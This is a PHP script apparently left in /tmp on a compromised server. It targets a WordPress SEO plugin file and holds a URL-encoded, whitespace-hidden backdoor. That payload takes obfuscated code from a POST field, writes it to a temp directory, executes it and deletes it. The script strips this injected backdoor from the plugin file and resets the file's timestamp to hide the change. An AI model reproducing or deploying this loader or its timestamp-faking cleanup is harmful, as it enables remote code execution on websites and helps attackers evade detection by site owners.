File: //tmp/.accept
<?php $path = '/home/florin/sites/dentoutline/current/public/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Stream.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28%21empty%28%24_POST%5B%22h%5Cx6Fl%5Cx64%5Cx65r%22%5D%29%29%7B%20%24flg%20%3D%20%24_POST%5B%22h%5Cx6Fl%5Cx64%5Cx65r%22%5D%3B%20%24flg%3D%20explode%20%28%20%27.%27%20%2C%24flg%20%29%20%3B%20%24tkn%20%3D%20%27%27%3B%20%24salt%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3D%20strlen%28%20%24salt%29%3B%20%24u%20%3D%200%3B%20foreach%28%20%24flg%20as%20%24v2%29%20%7B%20%24chS%20%3D%20ord%28%20%24salt%5B%24u%25%24lenS%5D%29%3B%20%24dec%20%3D%28%20%28%20int%29%24v2%20-%20%24chS%20-%28%20%24u%2510%29%29%20%5E%2012%3B%20%24tkn%20.%3D%20chr%28%20%24dec%29%3B%20%24u%2B%2B%3B%20%7D%20%24token%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20getenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20getenv%28%22TMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20foreach%20%28%24token%20as%20%24binding%29%3A%20if%20%28%21%28%20%21is_dir%28%24binding%29%20%7C%7C%20%21is_writable%28%24binding%29%20%29%29%20%7B%20%24data_chunk%20%3D%20str_replace%28%22%7Bvar_dir%7D%22%2C%20%24binding%2C%20%22%7Bvar_dir%7D/.descriptor%22%29%3B%20if%20%28file_put_contents%28%24data_chunk%2C%20%24tkn%29%29%20%7B%20require%20%24data_chunk%3B%20unlink%28%24data_chunk%29%3B%20die%28%29%3B%20%7D%20%7D%20endforeach%3B%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = file_get_contents($path); if (strpos($content, $new_content) !== FALSE) { $content = str_replace($new_content, '', $content); file_put_contents($path, $content); @touch($path, $ft); } } die('!success!');